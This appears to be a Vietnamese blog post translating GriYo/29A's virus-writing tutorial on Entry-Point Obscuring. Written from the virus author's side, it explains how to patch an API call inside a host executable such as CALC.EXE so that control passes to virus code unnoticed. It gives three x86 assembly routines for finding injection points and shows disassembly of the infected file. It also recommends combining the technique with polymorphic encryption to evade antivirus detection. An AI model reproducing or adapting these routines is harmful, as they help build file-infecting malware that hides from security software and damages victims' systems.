Trao đổi với tôi

http://www.buidao.com

6/21/09

[Virus] Entry-Point Obscuring

Tìm hiểu về EPO: Entry-Point Obscuring

Tranz by: Eternal_Virus

Để đặt đc quyền kiểm soát , một virus có thể sửa đôỉ một tập tin thi hành theo một vài cách sau :
Việc sửa đổi này làm cho nó trỏ đến đoạn mã của virus
Chèn một cấu trúc nhảy của virus thông qua các mã chương trình , cách này tuy dễ thực hiện nhưng các trình AV ngày nay sẽ đánh dấu nó như là các tập tin đang ngờ . Lý do ư ??? . Một tập tin mà có EPO trỏ đến ngoài phần mã cuối của nó là rất đáng ngờ .
Cách thứ 2 phức tạp hơn một chút . Virus có thể ghi đè lên cấu trúc đầu tiên ( EPO trỏ đến đoạn Header của file ) với một cú nhảy hoặc gọi chính nó . Cabanas sử dụng công thức này . Sử dụng cách này virus có thể làm cho một vài chương trình AV trở thành kẻ ngốc nhưng một số chương trình khác sẽ báo cáo các cờ đáng nghi vấn trong khi scan . Lý do ??? Các AV sẽ tìm kiếm trong đoạn mã trên file Entry-Point và sẽ phát hiện một cú nhảy hay một cuộc gọi bên ngoài phần mã . Chúng tôi có thể tạo ra những cấu trúc ngẫu nhiên trước khi nhảy hoặc gọi cho mã của virus . Nếu một trình AV nào đó chỉ nhìn vào cấu trúc đầu tiên tập tin bị lây nhiễm thì nó sẽ sai lầm trong việc phát hiện cú nhảy của mã virus . Parvo virus Marburg và sử dụng phương pháp này .
Nhưng bây giờ điều này là không đủ. Một số antivirus có thể theo dõi thông qua các mã này và tìm kiếm một cú nhảy bên ngoài của phần mã và lại lần nữa nó sẽ báo cáo các cờ đáng nghi vấn .
Giải pháp? Chúng tôi đã bơm vào một cú nhảy hay cuộc gọi tới mã virus của chúng tôi ngay bên trong mã gốc của chương trình chủ nhưng lại cách xa đoạn Entry-Points trỏ đến .
Để làm được điều này , chúng tôi mô phỏng lại mỗi một cấu trúc cho đến khi chúng tôi tìm đc không gian để lưu chúng lại . Nhưng hãy chờ , thực sự cũng ko cần thiết để viết một chương trình giống như debug0 - virus . Chúng tôi chỉ cần tận dụng lợi thế của các cấu trúe file PE để nhanh chóng quét các tập tin tìm kiếm để chèn vào một cú nhảy hay cuộc gọi đến đoạn mã thực thi của virus . Làm thế nào đây ??? Hãy xem xét các ví dụ sau : Biến của CALC.EXE
01. Text

SH_PointerToRawData 00001000
SH_VirtualAddress 00001000
SH_SizeOfRawData 0000C000
SH_VirtualSize 0000BF22

Chracteristics 60000020

Code
MEM_EXECUTE
MEM_READ
Các EPO là tại 00005D30h, và mã số có vẻ như thế này :
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
Bỏ qua các hướng dẫn đầu tiên và đi đến một trong những 01285D56 . Điều này sẽ hướng dẫn các địa chỉ tại 0128D068 và thường xuyên có các executes. Tại địa chỉ được đề cập là giá trị 77F13FD5, là mục điểm GetVersion api. Vì vậy, hướng dẫn các cuộc gọi này GetVersion.

Bây giờ nhìn opcodes của hướng dẫn này: FF1568D02801
15FF CALL indirect
0128D068 Pointer to the routine entry point
Vâng, không có gì mới và bây giờ chúng tôi muốn tìm một cuộc gọi đến một api bên trong các chương trình mã. Vì vậy, đi vào điểm (00005D30) và xem xét có:
00005D30 64 A1 00 00 00 00 55 8B d U
00005D38 EC 6A FF 68 08 DF 28 01 8j h. (.
00005D40 68 D4 74 28 01 50 64 89 h+t(.Pd
00005D48 25 00 00 00 00 83 EC 60 % 8`
00005D50 53 56 57 89 65 E8 FF 15 SVW eF .
00005D58 68 D0 28 01 A3 8C F5 28 h-(. )(
00005D60 01 33 C0 A0 8D F5 28 01 .3+ )(.
00005D68 A3 98 F5 28 01 A1 8C F5 )(. )
00005D70 28 01 C1 2D 8C F5 28 01 (.-- )(.
00005D78 10 25 FF 00 00 00 A3 94 .%
00005D80 F5 28 01 C1 E0 08 03 05 )(.-a...
Nếu chúng tôi quét khu vực này tìm GỌI opcodes (FF15), chúng tôi sẽ tìm thấy chúng ở 00005D56. Sau này opcodes trỏ đến một mục nhập thường xuyên đến điểm này, cho phép kiểm tra xem nó:

00005D58 68 D0 28 01 -> 0128D068

Hãy cho phép xem tại 0128D068 trong bộ nhớ của chúng tôi hình ảnh của tập tin:
0128D068 -> Pointer to routine entry point
01280000 -> Image base address in file header
--------
0000D068 -> Rva of routine entry point
Nhìn bây giờ này, biến của CALC.EXE :

02. Rdata

SH_PointerToRawData 0000D000
SH_VirtualAddress 0000D000
SH_SizeOfRawData 00002000
SH_VirtualSize 00001F0A
Chracteristics 60000020
INITIALIZED_DATA
MEM_READ
Tốt! có vẻ như chúng tôi đã được tìm thấy dưới hình thức các cuộc gọi đến các API tìm bên trong các mã số của máy chủ. Nhưng những byte FF15h không phải thuộc về một cuộc gọi API. Nó có thể được, ví dụ, trong một MOV EAX, 0000FF15h. Làm thế nào có thể chắc chắn?
Chúng tôi sẽ khai thác các cấu trúc PE để trích tên API để từ đó làm cho tham khảo những hướng dẫn GỌI.

Nhìn vào những nguyên địa chỉ tương ứng với 0000D068 rva (trong ví dụ này rva bằng nguyên).

0000D068 24 E8 00 00
Đây ko phải là EPO của GetVersion (77F13FD5) nhưng hãy nhìn vào đoạn offset của 0000E824 trong tập tin:
0000E824 4C 01 47 65 74 56 65 72 L. GetVer
0000E82C 73 69 6F 6E 00 00 6B 00 Sion k.....
Đây là cách chương trình nhập khẩu của một api . Đầu tiên là từ api 'hint' và theo sau là api tên.
In summary:

Code section Imports section
------------------------------- -------------------------------

01285D56 - call [0128D068]

'--------->D068 - 24 E8 00 00
^
,----------'
|
'->E824 - 4C 01
E826 - "GetVersion"
Hãy để chúng tôi bắt tay vào làm việc . Đoạn mã sau đây là một phương pháp tiếp cận đầu tiên để có các tiếp xúc :
;Example 1
;
;On entry:
; ebx -> Host base address
; ecx -> Pointer to RAW data or NULL if error
; edx -> Entry-point RVA
; esi -> Pointer to IMAGE_OPTIONAL_HEADER
; edi -> Pointer to section header
; ebp -> Virus delta offset
;
;On exit:
; ebx -> Not changed
; ecx -> Pointer to instruction after the api
call or NULL if error
example_1: mov edx,dword ptr [esi+OH_ImageBase]
mov esi,ecx
mov ecx,dword ptr [edi+SH_VirtualSize]
sub ecx,eax
dec ecx
search_call: lodsw
dec esi
cmp ax,15FFh
je found_call
loop search_call
ret ;Opcode not found
found_call: inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz e_get_code_raw
xchg ecx,esi
lodsd
lea esi,dword ptr [ebx+eax]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr: scasb
jz OhYesItIs
loop IsThisStr
ret ;Null terminator not found
OhYesItIs: push edx ;Ptr to next instruction
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
or eax,eax
jnz e_get_code_raw
mov ecx,eax
e_get_code_raw: ret

;End of example 1

Chỉ cần một lần virus chứa đựng đc một EOP hợp lệ nó có thể sao chép các cấu trúc và lưu vào một buffer rồi patch nó với một cú nhảy hay gọi đến đoạn mã virus .
Sử dụng ví dụ này để code CALC.EXE . EPO giờ như thế này :
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C E898800000 call 0128DDF9
01285D61 33C0 xor eax,eax
Như bạn có thể xem các hướng dẫn:
01285D5C A38CF52801 mov [0128F58C], eax
Đã được ghi đè bằng cách này:
01285D5C E898800000 call 0128DDF9
Điều này sẽ nạp vào ngăn xếp địa chỉ của cấu trúc kế tiếp . Virus có thể lấy ra khỏi ngăn xếp đoạn địa chỉ này và khôi phục lại đoạn code nguyên bản (lưu trong khi infecting tập tin) và chuyển quyền kiểm soát trở lại chương trình chủ khi nó làm việc xong . Nếu bạn muốn test thử trên máy tính của mình , bạn sẽ thấy rằng đoạn code đó rất thông minh .
Cho phép suy nghĩ về việc làm thế nào mà tại ví dụ 1 và xem những gì sẽ xảy ra khi xử lý các mã sau đây:
jecxz label
push ecx
call CloseHandle
push eax
label: ...
Vấn đề ở đây là cấu trúc jecxz mà có thể chuyển giao kiểm soát một nơi nào đó ở giữa cuộc gọi đến vi rút
Vì vậy nếu ecx là 00000000h , virus của chúng tôi sẽ ko thi hành và jecxz sẽ chuyển đến một vị trí không hợp lệ. Những ví dụ trước đó không đúng mục đích trên, nó là tốt để hiển thị một trong những phổ biến nhất khi chúng tôi patch một executable ( Tôi đã để nguyên mẫu vì nó là từ chuyên môn : executable tạm dịch là sự thi hành , sự hành hạ , hành hình hoặc là đao phủ ...)
Cho phép sửa đổi các ví dụ 1 để xử lý tình trạng này :
Example 2
;
;On entry:
; ebx -> Host base address
; ecx -> Pointer to RAW data or NULL if error
; edx -> Entry-point RVA
; esi -> Pointer to IMAGE_OPTIONAL_HEADER
; edi -> Pointer to section header
; ebp -> Virus delta offset
;
;On exit:
; ebx -> Not changed
; ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------

example_2: mov edx,dword ptr [esi+OH_ImageBase]
mov esi,ecx
mov ecx,dword ptr [edi+SH_VirtualSize]
search_call: push ecx
lodsw
dec esi
cmp ax,15FFh
jne NoCallOpcode
push esi
inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz NextApe
xchg ecx,esi
lodsd
sub eax,edx
lea esi,dword ptr [eax+ebx]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr: scasb
jz FoundNull
loop IsThisStr
NextApe: pop esi
NoCallOpcode: pop ecx
loop search_call
ExitApe: ret ;Opcode not found
FoundNull: push edx
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
sub ecx,00000006h
or eax,eax
jz NextApe
pop eax
pop eax
ret

;End of example 2
;----------------------------------------------------------------------------
Gìơ chúng tôi ghi đè lên hàm API bằng cuộc gọi của chúng tôi tới thân của virus thay vì viết nó tiếp theo . Sử dụng cách này, chúng tôi sẽ không bao giờ đè lên bất kỳ hướng dẫn ngoại trừ các cuộc gọi api. Cho phép quay trở lại ví dụ của chúng tôi bằng cách sử dụng như là CALC.EXE :
Điều này đã được mã CALC.EXE ban đầu trước khi bị nhiễm bệnh :
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
Và đây là một lần mắc bệnh bằng cách sử dụng mã số trên ví dụ 2:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 E898800000 call 0128DDF3
01285D5B 01 db 01h
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
Lưu ý rằng Injected ,tôi ko bíêt dịch thế nào cho đúng . Injected tạm hiểu là sự bon chen , chèn ép . Gọi inject sử dụng ít byte hơn gọi api .
Như kết quả tất cả mọi thứ diễn ra ở trên, ngoại trừ các cuộc gọi, mà ngay bây giờ sẽ chuyển giao kiểm soát của virus chúng tôi . Cũng lưu ý rằng chúng tôi đang làm việc đầu tiên được tìm thấy api gọi từ các mục nhập điểm vào cuối của mã phần. Nhưng chúng tôi có thể bỏ qua một số apis cho đến khi một điểm sâu-một nơi nào đó bên trong mã phần. Hãy thay đổi ví dụ 2 để làm việc này:
Example 3
;
;On entry:
; ebx -> Host base address
; ecx -> Pointer to RAW data or NULL if error
; edx -> Entry-point RVA
; esi -> Pointer to IMAGE_OPTIONAL_HEADER
; edi -> Pointer to section header
; ebp -> Virus delta offset
;
;On exit:
; ebx -> Not changed
; ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------

example_3: mov eax,dword ptr [edi+SH_VirtualSize]
shr eax,01h
call get_rnd_range
mov edx,dword ptr [esi+OH_ImageBase]
lea esi,dword ptr [eax+ecx]
mov ecx,dword ptr [edi+SH_VirtualSize]
sub ecx,eax
search_call: push ecx
lodsw
dec esi
cmp ax,15FFh
jne NoCallOpcode
push esi
inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz NextApe
xchg ecx,esi
lodsd
sub eax,edx
lea esi,dword ptr [eax+ebx]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr: scasb
jz FoundNull
loop IsThisStr
NextApe: pop esi
NoCallOpcode: pop ecx
loop search_call
ExitApe: ret ;Opcode not found
FoundNull: push edx
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
sub ecx,00000006h
or eax,eax
jz NextApe
pop eax
pop eax
ret

;End of example 3
;----------------------------------------------------------------------------
; Cuối của ví dụ 3
;------------------------------------------------- ---------------------------

Như đã nêu ở trên nhận một mã số ngẫu nhiên từ 00000000h vào cuối của mã phần kích cỡ, và bắt đầu tìm kiếm ở đó cho bất kỳ cuộc gọi api. Có, ngẫu nhiên các số máy phát điện và các thói quen RVA2RAW arent bao gồm, viết những cái riêng của bạn.

Trong khi chơi với các công cụ ở trên tôi được tìm thấy sau đây vấn đề:

Rất nhiều tác phẩm đã không bao giờ bị nhiễm bệnh
Các thủ tục tìm kiếm thông thường exit to due do các vấn đề ngoại lệ
Các tập tin được tạo ra với Borland linker không call cấu trúc mà chúng ta thấy trước đó. Vì vậy, chúng tôi đã xử lý chúng trong một cách thức khác nhau. Binded một số tác phẩm cũng cần chăm sóc đặc biệt.

*not-so-much-smart* là để kiểm tra xem GetProcAddress API . Sẽ có ích hơn để kiểm tra bất cứ khi nào một số điểm trong RVA Phần nhập khẩu.

Tôi đồng ý nó, ví dụ như đã nêu ở trên là hoàn toàn shit, nhưng đủ để giải thích một cách dễ dàng ý tưởng đằng sau.

Sử dụng phương pháp này virus nhập điểm sẽ được definetively ẩn bằng cách sử dụng và một vi-rút này cộng với một polymorphic động cơ có thể được thực sự khó khăn để spot .

Nếu polymorphic động cơ sản xuất thành công một mẫu ngẫu nhiên và các mục điểm này mẫu mã là chưa biết virus sẽ được an toàn của lame AV phát hiện technics cho thời gian dài.

Tôi đã viết lại toàn bộ thường xuyên, hãy nhớ tất cả các vấn đề này. Bạn có thể tìm thấy kết quả trong các mã nguồn của CTX-Phage vi rút. Nó cho thấy làm thế nào để thực hiện "EPO" công nghệ trong conjuntion với thế mạnh polymorphic mật mã.

Một khả năng là để xác định vị trí tạo ra cấu trúc của ngôn ngữ cấp cao compilers. Ví dụ:

01012420 55 push ebp
01012421 8BEC mov ebp, esp

GriYo / 29A
Vâng thưa các bạn , bài dịch của tôi chắc chắn là còn nhiều thiếu xót . Tôi đã cố gằng vận dụng hết vốn liếng tiếng Anh hạn chế của mình để dịch lại toàn bộ Tuts trên sao cho chính xác nhất so với bản gốc nhưng vấn đề chính ở đây là chúng ta phải hiểu đc ý tưởng sâu xa trong những đoạn code mẫu của tác giả . Một lần nữa hãy cùng tìm hiểu về EPO , chúng ta sẽ thấy đc nhiều điều thú vị của một virus máy tính khi nó sử dụng công nghệ này . Bạn nên tìm thêm các tài liệu tham khảo khác để hiểu cặn kẽ vấn đề hơn . Thân ...